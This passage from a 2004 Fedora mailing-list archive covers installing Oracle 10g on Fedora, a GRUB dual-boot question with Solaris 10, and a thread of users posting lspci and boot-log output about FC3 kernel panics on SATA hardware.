17 20:03:33 2004 From: alaxsxaq at gmail.com (Glen Staufer) Date: Wed, 17 Nov 2004 15:03:33 -0500 Subject: Help Installing Oracle 10g on Fedora In-Reply-To: <419BA09F.8080005@aesgi.com> References: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> <419BA09F.8080005@aesgi.com> Message-ID: On Wed, 17 Nov 2004 13:03:59 -0600, Gregory G Carter wrote: > Bad question to ask. > > What you are asking will land anyone in here in jail in a country with > software patents or part of the trading block of the USA and requires > reverse engineering the installer, and certain sections of the software > to determine how it installs itself. > > That is highly illegal, and it violates the software agreement you > agreed to when you downloaded 10g anyway. > > Only install the Oracle database on a validated copy of Linux for which > it is designed if you want to stay out of jail. > There isn't any language that I can see in the download click-through license that specifically prohibits installing Oracle software on an unsupported platform. If you download the software and use the '-ignoreSysPrereqs' option or edit the oraparam.ini file, are you reverse engineering anything? I wouldn't think so. I'm not a lawyer, but if Oracle really was concerned about this whole issue, the websites with specific infomation on doing Fedora or Gentoo installs and the like would be served with take-down notices pretty quickly. Oracle has no shortage of lawyers; just bigger fish to fry so to speak. --Glenn Stauffer From alan at redhat.com Wed Nov 17 20:07:19 2004 From: alan at redhat.com (Alan Cox) Date: Wed, 17 Nov 2004 15:07:19 -0500 Subject: New FC3 Kernel causes panic In-Reply-To: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> Message-ID: <20041117200719.GB2078@devserv.devel.redhat.com> On Wed, Nov 17, 2004 at 03:02:38PM -0500, Will Backman wrote: > Cannot find logical volumes. > Dell Optiplex GX280 SATA, dual boot with WinXP. Any unusual boot messages, and can folks reporting this sort of problem give more hardware info (if you aren't sure what to provide "lspci" is a good thing to paste in) From whb at ceimaine.org Wed Nov 17 20:09:03 2004 From: whb at ceimaine.org (Will Backman) Date: Wed, 17 Nov 2004 15:09:03 -0500 Subject: New FC3 Kernel causes panic In-Reply-To: <20041117200719.GB2078@devserv.devel.redhat.com> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041117200719.GB2078@devserv.devel.redhat.com> Message-ID: <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> On Wed, 2004-11-17 at 15:07 -0500, Alan Cox wrote: > On Wed, Nov 17, 2004 at 03:02:38PM -0500, Will Backman wrote: > > Cannot find logical volumes. > > Dell Optiplex GX280 SATA, dual boot with WinXP. > > Any unusual boot messages, and can folks reporting this sort of problem > give more hardware info (if you aren't sure what to provide "lspci" is > a good thing to paste in) > 00:00.0 Host bridge: Intel Corp. 915G/P/GV Processor to I/O Controller (rev 04) 00:01.0 PCI bridge: Intel Corp. 915G/P/GV PCI Express Root Port (rev 04) 00:02.0 VGA compatible controller: Intel Corp. 82915G Express Chipset Family Graphics Controller (rev 04) 00:02.1 Display controller: Intel Corp. 82915G Express Chipset Family Graphics Controller (rev 04) 00:1c.0 PCI bridge: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express Port 1 (rev 03) 00:1c.1 PCI bridge: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express Port 2 (rev 03) 00:1d.0 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #1 (rev 03) 00:1d.1 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #2 (rev 03) 00:1d.2 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #3 (rev 03) 00:1d.3 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #4 (rev 03) 00:1d.7 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB2 EHCI Controller (rev 03) 00:1e.0 PCI bridge: Intel Corp. 82801 PCI Bridge (rev d3) 00:1e.2 Multimedia audio controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) AC'97 Audio Controller (rev 03) 00:1f.0 ISA bridge: Intel Corp. 82801FB/FR (ICH6/ICH6R) LPC Interface Bridge (rev 03) 00:1f.1 IDE interface: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) IDE Controller (rev 03) 00:1f.2 IDE interface: Intel Corp. 82801FB/FW (ICH6/ICH6W) SATA Controller (rev 03) 00:1f.3 SMBus: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) SMBus Controller (rev 03) 02:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 Gigabit Ethernet PCI Express (rev 01) From joe.borne at gmail.com Wed Nov 17 20:16:16 2004 From: joe.borne at gmail.com (Joe Borne) Date: Wed, 17 Nov 2004 15:16:16 -0500 Subject: Fedora C3 specific dual boot question In-Reply-To: <20041117200912.F364273AFD@hormel.redhat.com> References: <20041117200912.F364273AFD@hormel.redhat.com> Message-ID: <10503aff04111712165798eb9@mail.gmail.com> OK, I now have Solaris 10 installed on a 2nd internal HD. However, when I attempted to modify the grub boot loader I am stymied by the way FC3 set up my system. The grub entyr I put in is: title Solaris 10 rootnoverify (hd3,1) makeactive chainloader +1 Because I now have Sol10 on /dev/hdc, partition 1 But FC3 configured my system with the internal drive as an LVM (smart, I liked that, but now it's a new wrinkle). So my fstab is this: /dev/VolGroup00/LogVol00 / ext3 defaults 1 1 LABEL=/boot /boot ext3 defaults 1 2 none /dev/pts devpts gid=5,mode=620 0 0 none /dev/shm tmpfs defaults 0 0 none /proc proc defaults 0 0 none /sys sysfs defaults 0 0 /dev/VolGroup00/LogVol01 swap swap defaults 0 0 /dev/hdd /media/cdrw_dvdr auto noauto,user,exec,managed,ro 0 0 /dev/fd0 /media/floppy auto noauto,user,exec,managed 0 0 So when I attempt to perform the following sequence, grub does not recognize any of the drives I am calling for. (grub) root (hd0,0) (grub) setup (hd0) (grub) quit Can anyone help? From sean.bruno at dsl-only.net Wed Nov 17 20:17:24 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Wed, 17 Nov 2004 12:17:24 -0800 Subject: New FC3 Kernel causes panic In-Reply-To: <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041117200719.GB2078@devserv.devel.redhat.com> <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> Message-ID: <1100722644.3500.1.camel@oscar.metro1.com> On Wed, 2004-11-17 at 15:09 -0500, Will Backman wrote: > On Wed, 2004-11-17 at 15:07 -0500, Alan Cox wrote: > > On Wed, Nov 17, 2004 at 03:02:38PM -0500, Will Backman wrote: > > > Cannot find logical volumes. > > > Dell Optiplex GX280 SATA, dual boot with WinXP. > > > > Any unusual boot messages, and can folks reporting this sort of problem > > give more hardware info (if you aren't sure what to provide "lspci" is > > a good thing to paste in) > > > 00:00.0 Host bridge: Intel Corp. 915G/P/GV Processor to I/O Controller > (rev 04) > 00:01.0 PCI bridge: Intel Corp. 915G/P/GV PCI Express Root Port (rev 04) > 00:02.0 VGA compatible controller: Intel Corp. 82915G Express Chipset > Family Graphics Controller (rev 04) > 00:02.1 Display controller: Intel Corp. 82915G Express Chipset Family > Graphics Controller (rev 04) > 00:1c.0 PCI bridge: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI > Express Port 1 (rev 03) > 00:1c.1 PCI bridge: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI > Express Port 2 (rev 03) > 00:1d.0 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) > USB UHCI #1 (rev 03) > 00:1d.1 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) > USB UHCI #2 (rev 03) > 00:1d.2 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) > USB UHCI #3 (rev 03) > 00:1d.3 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) > USB UHCI #4 (rev 03) > 00:1d.7 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) > USB2 EHCI Controller (rev 03) > 00:1e.0 PCI bridge: Intel Corp. 82801 PCI Bridge (rev d3) > 00:1e.2 Multimedia audio controller: Intel Corp. 82801FB/FBM/FR/FW/FRW > (ICH6 Family) AC'97 Audio Controller (rev 03) > 00:1f.0 ISA bridge: Intel Corp. 82801FB/FR (ICH6/ICH6R) LPC Interface > Bridge (rev 03) > 00:1f.1 IDE interface: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) > IDE Controller (rev 03) > 00:1f.2 IDE interface: Intel Corp. 82801FB/FW (ICH6/ICH6W) SATA > Controller (rev 03) > 00:1f.3 SMBus: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) SMBus > Controller (rev 03) > 02:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 > Gigabit Ethernet PCI Express (rev 01) > > Having the same issue with a Dell Optiplex GX270(SATA as well): 00:00.0 Host bridge: Intel Corp. 82865G/PE/P DRAM Controller/Host-Hub Interface (rev 02) 00:01.0 PCI bridge: Intel Corp. 82865G/PE/P PCI to AGP Controller (rev 02) 00:1d.0 USB Controller: Intel Corp. 82801EB/ER (ICH5/ICH5R) USB UHCI Controller #1 (rev 02) 00:1d.1 USB Controller: Intel Corp. 82801EB/ER (ICH5/ICH5R) USB UHCI Controller #2 (rev 02) 00:1d.2 USB Controller: Intel Corp. 82801EB/ER (ICH5/ICH5R) USB UHCI #3 (rev 02) 00:1d.3 USB Controller: Intel Corp. 82801EB/ER (ICH5/ICH5R) USB UHCI Controller #4 (rev 02) 00:1d.7 USB Controller: Intel Corp. 82801EB/ER (ICH5/ICH5R) USB2 EHCI Controller (rev 02) 00:1e.0 PCI bridge: Intel Corp. 82801 PCI Bridge (rev c2) 00:1f.0 ISA bridge: Intel Corp. 82801EB/ER (ICH5/ICH5R) LPC Interface Bridge (rev 02) 00:1f.1 IDE interface: Intel Corp. 82801EB/ER (ICH5/ICH5R) IDE Controller (rev 02) 00:1f.2 IDE interface: Intel Corp. 82801EB (ICH5) SATA Controller (rev 02) 00:1f.3 SMBus: Intel Corp. 82801EB/ER (ICH5/ICH5R) SMBus Controller (rev 02) 00:1f.5 Multimedia audio controller: Intel Corp. 82801EB/ER (ICH5/ICH5R) AC'97 Audio Controller (rev 02) 01:00.0 VGA compatible controller: nVidia Corporation NV34 [GeForce FX 5200] (rev a1) 02:0c.0 Ethernet controller: Intel Corp. 82540EM Gigabit Ethernet Controller (rev 02) Nothing real useful in the error besides "Kernel Panic" I will reboot and write down the error on screen and post it. From davej at redhat.com Wed Nov 17 20:27:41 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 17 Nov 2004 15:27:41 -0500 Subject: New FC3 Kernel causes panic In-Reply-To: <1100722644.3500.1.camel@oscar.metro1.com> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041117200719.GB2078@devserv.devel.redhat.com> <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> <1100722644.3500.1.camel@oscar.metro1.com> Message-ID: <20041117202740.GB12179@redhat.com> On Wed, Nov 17, 2004 at 12:17:24PM -0800, Sean Bruno wrote: > On Wed, 2004-11-17 at 15:09 -0500, Will Backman wrote: > > On Wed, 2004-11-17 at 15:07 -0500, Alan Cox wrote: > > > On Wed, Nov 17, 2004 at 03:02:38PM -0500, Will Backman wrote: > > > > Cannot find logical volumes. > > > > Dell Optiplex GX280 SATA, dual boot with WinXP. > > > > > > Any unusual boot messages, and can folks reporting this sort of problem > > > give more hardware info (if you aren't sure what to provide "lspci" is > > > a good thing to paste in) > > > > > 00:00.0 Host bridge: Intel Corp. 915G/P/GV Processor to I/O Controller > > (rev 04) > > 00:01.0 PCI bridge: Intel Corp. 915G/P/GV PCI Express Root Port (rev 04) > > 00:02.0 VGA compatible controller: Intel Corp. 82915G Express Chipset > > Family Graphics Controller (rev 04) > > 00:02.1 Display controller: Intel Corp. 82915G Express Chipset Family > > Graphics Controller (rev 04) > > 00:1c.0 PCI bridge: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI > > Express Port 1 (rev 03) > > 00:1c.1 PCI bridge: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI > > Express Port 2 (rev 03) > > 00:1d.0 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) > > USB UHCI #1 (rev 03) > > 00:1d.1 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) > > USB UHCI #2 (rev 03) > > 00:1d.2 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) > > USB UHCI #3 (rev 03) > > 00:1d.3 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) > > USB UHCI #4 (rev 03) > > 00:1d.7 USB Controller: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) > > USB2 EHCI Controller (rev 03) > > 00:1e.0 PCI bridge: Intel Corp. 82801 PCI Bridge (rev d3) > > 00:1e.2 Multimedia audio controller: Intel Corp. 82801FB/FBM/FR/FW/FRW > > (ICH6 Family) AC'97 Audio Controller (rev 03) > > 00:1f.0 ISA bridge: Intel Corp. 82801FB/FR (ICH6/ICH6R) LPC Interface > > Bridge (rev 03) > > 00:1f.1 IDE interface: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) > > IDE Controller (rev 03) > > 00:1f.2 IDE interface: Intel Corp. 82801FB/FW (ICH6/ICH6W) SATA > > Controller (rev 03) > > 00:1f.3 SMBus: Intel Corp. 82801FB/FBM/FR/FW/FRW (ICH6 Family) SMBus > > Controller (rev 03) > > 02:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 > > Gigabit Ethernet PCI Express (rev 01) > > > > > Having the same issue with a Dell Optiplex GX270(SATA as well): > > 00:00.0 Host bridge: Intel Corp. 82865G/PE/P DRAM Controller/Host-Hub > Interface (rev 02) > 00:01.0 PCI bridge: Intel Corp. 82865G/PE/P PCI to AGP Controller (rev > 02) > 00:1d.0 USB Controller: Intel Corp. 82801EB/ER (ICH5/ICH5R) USB UHCI > Controller #1 (rev 02) > 00:1d.1 USB Controller: Intel Corp. 82801EB/ER (ICH5/ICH5R) USB UHCI > Controller #2 (rev 02) > 00:1d.2 USB Controller: Intel Corp. 82801EB/ER (ICH5/ICH5R) USB UHCI #3 > (rev 02) > 00:1d.3 USB Controller: Intel Corp. 82801EB/ER (ICH5/ICH5R) USB UHCI > Controller #4 (rev 02) > 00:1d.7 USB Controller: Intel Corp. 82801EB/ER (ICH5/ICH5R) USB2 EHCI > Controller (rev 02) > 00:1e.0 PCI bridge: Intel Corp. 82801 PCI Bridge (rev c2) > 00:1f.0 ISA bridge: Intel Corp. 82801EB/ER (ICH5/ICH5R) LPC Interface > Bridge (rev 02) > 00:1f.1 IDE interface: Intel Corp. 82801EB/ER (ICH5/ICH5R) IDE > Controller (rev 02) > 00:1f.2 IDE interface: Intel Corp. 82801EB (ICH5) SATA Controller (rev > 02) > 00:1f.3 SMBus: Intel Corp. 82801EB/ER (ICH5/ICH5R) SMBus Controller (rev > 02) > 00:1f.5 Multimedia audio controller: Intel Corp. 82801EB/ER (ICH5/ICH5R) > AC'97 Audio Controller (rev 02) > 01:00.0 VGA compatible controller: nVidia Corporation NV34 [GeForce FX > 5200] (rev a1) > 02:0c.0 Ethernet controller: Intel Corp. 82540EM Gigabit Ethernet > Controller (rev 02) > > Nothing real useful in the error besides "Kernel Panic" > > I will reboot and write down the error on screen and post it. Yet another Intel SATA user. Something really bad happened here. This is the 3rd/4th instance of this I've seen today. Dave From sean.bruno at dsl-only.net Wed Nov 17 21:09:43 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Wed, 17 Nov 2004 13:09:43 -0800 Subject: New FC3 Kernel causes panic In-Reply-To: <20041117202740.GB12179@redhat.com> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041117200719.GB2078@devserv.devel.redhat.com> <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> <1100722644.3500.1.camel@oscar.metro1.com> <20041117202740.GB12179@redhat.com> Message-ID: <1100725783.3495.7.camel@oscar.metro1.com> > > > > > Cannot find logical volumes. > > > > > Dell Optiplex GX280 SATA, dual boot with WinXP. > > > > > > > 00:1f.2 IDE interface: Intel Corp. 82801FB/FW (ICH6/ICH6W) SATA > > > Controller (rev 03) > > > > > > > > Having the same issue with a Dell Optiplex GX270(SATA as well): > > > > 00:1f.2 IDE interface: Intel Corp. 82801EB (ICH5) SATA Controller (rev > > 02) Here is the Boot Screen that is displayed when the "Kernel Panic" appears: Booting 'Fedora Core (2.6.9-1.678_FC3smp)' root (hd0,0) Filesystem type is ext2fs, partition type 0x83 Kernel /vmlinuz-2.6.9-1.678_FC3smp ro root=/dev/VolGroup00/LogVol00 rhgb quiet [Linux-bzImage, setup=0x1400, size=0x14f880] initrd /initrd-2.6.9-1.678_FC3smp.img [Linux-initrd @ 0x1fe60000, 0xffe5fd bytes] Uncompressing Linux... Ok, booting the kernel audit(1100724706.921:0): inititalized Red Hat nash version 4.1.18 starting Reading all physical volumes, this may take a while... No volume groups found No volume groups found No volume groups found mount: error 6 mounting ext3 mount: error 2 mounting none switchroot: mount failed: 22 umount /initrd/dev failed: 2 Kernel panic - not syncing: Attempted to kill init! Does this help at all? > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From davej at redhat.com Wed Nov 17 21:11:03 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 17 Nov 2004 16:11:03 -0500 Subject: New FC3 Kernel causes panic In-Reply-To: <1100725783.3495.7.camel@oscar.metro1.com> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041117200719.GB2078@devserv.devel.redhat.com> <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> <1100722644.3500.1.camel@oscar.metro1.com> <20041117202740.GB12179@redhat.com> <1100725783.3495.7.camel@oscar.metro1.com> Message-ID: <20041117211103.GA6186@redhat.com> On Wed, Nov 17, 2004 at 01:09:43PM -0800, Sean Bruno wrote: > > > > > > Cannot find logical volumes. > > > > > > Dell Optiplex GX280 SATA, dual boot with WinXP. > > > > > > > > > > 00:1f.2 IDE interface: Intel Corp. 82801FB/FW (ICH6/ICH6W) SATA > > > > Controller (rev 03) > > > > > > > > > > > > Having the same issue with a Dell Optiplex GX270(SATA as well): > > > > > > 00:1f.2 IDE interface: Intel Corp. 82801EB (ICH5) SATA Controller (rev > > > 02) > > Here is the Boot Screen that is displayed when the "Kernel Panic" > appears: > > Booting 'Fedora Core (2.6.9-1.678_FC3smp)' > > root (hd0,0) > Filesystem type is ext2fs, partition type 0x83 > Kernel /vmlinuz-2.6.9-1.678_FC3smp ro root=/dev/VolGroup00/LogVol00 rhgb > quiet > [Linux-bzImage, setup=0x1400, size=0x14f880] > initrd /initrd-2.6.9-1.678_FC3smp.img > [Linux-initrd @ 0x1fe60000, 0xffe5fd bytes] > > > Uncompressing Linux... Ok, booting the kernel > audit(1100724706.921:0): inititalized > Red Hat nash version 4.1.18 starting > Reading all physical volumes, this may take a while... > No volume groups found > No volume groups found > No volume groups found > mount: error 6 mounting ext3 > mount: error 2 mounting none > switchroot: mount failed: 22 > umount /initrd/dev failed: 2 > Kernel panic - not syncing: > Attempted to kill init! > > Does this help at all? It's the same as the others. For some reason the driver isn't loading. Dave From sean.bruno at dsl-only.net Wed Nov 17 21:11:59 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Wed, 17 Nov 2004 13:11:59 -0800 Subject: New FC3 Kernel causes panic In-Reply-To: <20041117211103.GA6186@redhat.com> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041117200719.GB2078@devserv.devel.redhat.com> <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> <1100722644.3500.1.camel@oscar.metro1.com> <20041117202740.GB12179@redhat.com> <1100725783.3495.7.camel@oscar.metro1.com> <20041117211103.GA6186@redhat.com> Message-ID: <1100725919.3495.9.camel@oscar.metro1.com> > It's the same as the others. For some reason the > driver isn't loading. > > Dave > Do you want me to try anything to get more information? From davej at redhat.com Wed Nov 17 21:14:38 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 17 Nov 2004 16:14:38 -0500 Subject: New FC3 Kernel causes panic In-Reply-To: <1100725919.3495.9.camel@oscar.metro1.com> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041117200719.GB2078@devserv.devel.redhat.com> <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> <1100722644.3500.1.camel@oscar.metro1.com> <20041117202740.GB12179@redhat.com> <1100725783.3495.7.camel@oscar.metro1.com> <20041117211103.GA6186@redhat.com> <1100725919.3495.9.camel@oscar.metro1.com> Message-ID: <20041117211438.GC6186@redhat.com> On Wed, Nov 17, 2004 at 01:11:59PM -0800, Sean Bruno wrote: > > It's the same as the others. For some reason the > > driver isn't loading. > Do you want me to try anything to get more information? I'm trying to get a hold of a box with similar hardware so I can try to reproduce. Dave From whb at ceimaine.org Wed Nov 17 21:27:38 2004 From: whb at ceimaine.org (Will Backman) Date: Wed, 17 Nov 2004 16:27:38 -0500 Subject: New FC3 Kernel causes panic In-Reply-To: <1100725783.3495.7.camel@oscar.metro1.com> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041117200719.GB2078@devserv.devel.redhat.com> <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> <1100722644.3500.1.camel@oscar.metro1.com> <20041117202740.GB12179@redhat.com> <1100725783.3495.7.camel@oscar.metro1.com> Message-ID: <1100726859.3831.19.camel@cei3772.empower.ceimaine.org> On Wed, 2004-11-17 at 13:09 -0800, Sean Bruno wrote: > > > > > > Cannot find logical volumes. > > > > > > Dell Optiplex GX280 SATA, dual boot with WinXP. > > > > > > > > > > 00:1f.2 IDE interface: Intel Corp. 82801FB/FW (ICH6/ICH6W) SATA > > > > Controller (rev 03) > > > > > > > > > > > > Having the same issue with a Dell Optiplex GX270(SATA as well): > > > > > > 00:1f.2 IDE interface: Intel Corp. 82801EB (ICH5) SATA Controller (rev > > > 02) > > Here is the Boot Screen that is displayed when the "Kernel Panic" > appears: > > Booting 'Fedora Core (2.6.9-1.678_FC3smp)' > > root (hd0,0) > Filesystem type is ext2fs, partition type 0x83 > Kernel /vmlinuz-2.6.9-1.678_FC3smp ro root=/dev/VolGroup00/LogVol00 rhgb > quiet > [Linux-bzImage, setup=0x1400, size=0x14f880] > initrd /initrd-2.6.9-1.678_FC3smp.img > [Linux-initrd @ 0x1fe60000, 0xffe5fd bytes] > > > Uncompressing Linux... Ok, booting the kernel > audit(1100724706.921:0): inititalized > Red Hat nash version 4.1.18 starting > Reading all physical volumes, this may take a while... > No volume groups found > No volume groups found > No volume groups found > mount: error 6 mounting ext3 > mount: error 2 mounting none > switchroot: mount failed: 22 > umount /initrd/dev failed: 2 > Kernel panic - not syncing: > Attempted to kill init! > That is what I get on the GX280. From davej at redhat.com Wed Nov 17 21:43:09 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 17 Nov 2004 16:43:09 -0500 Subject: New FC3 Kernel causes panic In-Reply-To: <1100726859.3831.19.camel@cei3772.empower.ceimaine.org> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041117200719.GB2078@devserv.devel.redhat.com> <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> <1100722644.3500.1.camel@oscar.metro1.com> <20041117202740.GB12179@redhat.com> <1100725783.3495.7.camel@oscar.metro1.com> <1100726859.3831.19.camel@cei3772.empower.ceimaine.org> Message-ID: <20041117214309.GB20863@redhat.com> On Wed, Nov 17, 2004 at 04:27:38PM -0500, Will Backman wrote: > On Wed, 2004-11-17 at 13:09 -0800, Sean Bruno wrote: > > > > > > > Cannot find logical volumes. > > > > > > > Dell Optiplex GX280 SATA, dual boot with WinXP. > > > > > > > > > > > > > 00:1f.2 IDE interface: Intel Corp. 82801FB/FW (ICH6/ICH6W) SATA > > > > > Controller (rev 03) > > > > > > > > > > > > > > > > Having the same issue with a Dell Optiplex GX270(SATA as well): > > > > > > > > 00:1f.2 IDE interface: Intel Corp. 82801EB (ICH5) SATA Controller (rev > > > > 02) > > > > Here is the Boot Screen that is displayed when the "Kernel Panic" > > appears: > > > > Booting 'Fedora Core (2.6.9-1.678_FC3smp)' > > > > root (hd0,0) > > Filesystem type is ext2fs, partition type 0x83 > > Kernel /vmlinuz-2.6.9-1.678_FC3smp ro root=/dev/VolGroup00/LogVol00 rhgb > > quiet > > [Linux-bzImage, setup=0x1400, size=0x14f880] > > initrd /initrd-2.6.9-1.678_FC3smp.img > > [Linux-initrd @ 0x1fe60000, 0xffe5fd bytes] > > > > > > Uncompressing Linux... Ok, booting the kernel > > audit(1100724706.921:0): inititalized > > Red Hat nash version 4.1.18 starting > > Reading all physical volumes, this may take a while... > > No volume groups found > > No volume groups found > > No volume groups found > > mount: error 6 mounting ext3 > > mount: error 2 mounting none > > switchroot: mount failed: 22 > > umount /initrd/dev failed: 2 > > Kernel panic - not syncing: > > Attempted to kill init! > > > That is what I get on the GX280. https://bugzilla.redhat.com/beta2/show_bug.cgi?id=139674 (Note, its 'fc2', though the same bug is in fc3, and it makes sense to keep all the comments in the same place, so feel free to make fc3 related comments in that bug too) Dave From si at bananas.hopto.org Wed Nov 17 21:48:50 2004 From: si at bananas.hopto.org (Si Jones) Date: Wed, 17 Nov 2004 21:48:50 +0000 Subject: New FC3 Kernel causes panic In-Reply-To: <20041117214309.GB20863@redhat.com> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041117200719.GB2078@devserv.devel.redhat.com> <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> <1100722644.3500.1.camel@oscar.metro1.com> <20041117202740.GB12179@redhat.com> <1100725783.3495.7.camel@oscar.metro1.com> <1100726859.3831.19.camel@cei3772.empower.ceimaine.org> <20041117214309.GB20863@redhat.com> Message-ID: <1100728130.9683.12.camel@apple.bananas.hopto.org> Am having the same problem as well: SATA Drive is connected to the Nvidia nforce3, Athlon64. Need any more info? Regards, 00:00.0 Host bridge: nVidia Corporation: Unknown device 00e1 (rev a1) 00:01.0 ISA bridge: nVidia Corporation: Unknown device 00e0 (rev a2) 00:01.1 SMBus: nVidia Corporation nForce 250Gb PCI System Management (rev a1) 00:02.0 USB Controller: nVidia Corporation CK8S USB Controller (rev a1) 00:02.1 USB Controller: nVidia Corporation CK8S USB Controller (rev a1) 00:02.2 USB Controller: nVidia Corporation CK8S USB Controller (rev a2) 00:05.0 Bridge: nVidia Corporation CK8S Ethernet Controller (rev a2) 00:06.0 Multimedia audio controller: nVidia Corporation nForce3 250Gb AC'97 Audio Controller (rev a1) 00:08.0 IDE interface: nVidia Corporation CK8S Parallel ATA Controller (v2.5) (rev a2) 00:0a.0 IDE interface: nVidia Corporation CK8S Serial ATA Controller (v2.5) (rev a2) 00:0b.0 PCI bridge: nVidia Corporation nForce3 250Gb AGP Host to PCI Bridge (rev a2) 00:0e.0 PCI bridge: nVidia Corporation nForce3 250Gb PCI-to-PCI Bridge (rev a2) 00:18.0 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] HyperTransport Technology Configuration 00:18.1 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Address Map 00:18.2 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] DRAM Controller 00:18.3 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Miscellaneous Control 01:00.0 VGA compatible controller: nVidia Corporation NV17 [GeForce4 MX 440] (rev a3) 02:0b.0 FireWire (IEEE 1394): VIA Technologies, Inc. IEEE 1394 Host Controller (rev 80) 02:0c.0 RAID bus controller: Silicon Image, Inc. (formerly CMD Technology Inc) SiI 3114 [SATALink/SATARaid] Serial ATA Controller (rev 02) From davej at redhat.com Wed Nov 17 22:07:43 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 17 Nov 2004 17:07:43 -0500 Subject: New FC3 Kernel causes panic In-Reply-To: <1100728130.9683.12.camel@apple.bananas.hopto.org> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041117200719.GB2078@devserv.devel.redhat.com> <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> <1100722644.3500.1.camel@oscar.metro1.com> <20041117202740.GB12179@redhat.com> <1100725783.3495.7.camel@oscar.metro1.com> <1100726859.3831.19.camel@cei3772.empower.ceimaine.org> <20041117214309.GB20863@redhat.com> <1100728130.9683.12.camel@apple.bananas.hopto.org> Message-ID: <20041117220743.GD20863@redhat.com> On Wed, Nov 17, 2004 at 09:48:50PM +0000, Si Jones wrote: > Am having the same problem as well: > > SATA Drive is connected to the Nvidia nforce3, Athlon64. > > Need any more info? Ugh, yours is the first I've seen that isn't Intel ICH hardware. That's erm, worrying. Please file a separate bug for now. If they turn out to be related, we can always close->dup it later. Dave From sean.bruno at dsl-only.net Wed Nov 17 22:13:22 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Wed, 17 Nov 2004 14:13:22 -0800 Subject: New FC3 Kernel causes panic In-Reply-To: <20041117220743.GD20863@redhat.com> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041117200719.GB2078@devserv.devel.redhat.com> <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> <1100722644.3500.1.camel@oscar.metro1.com> <20041117202740.GB12179@redhat.com> <1100725783.3495.7.camel@oscar.metro1.com> <1100726859.3831.19.camel@cei3772.empower.ceimaine.org> <20041117214309.GB20863@redhat.com> 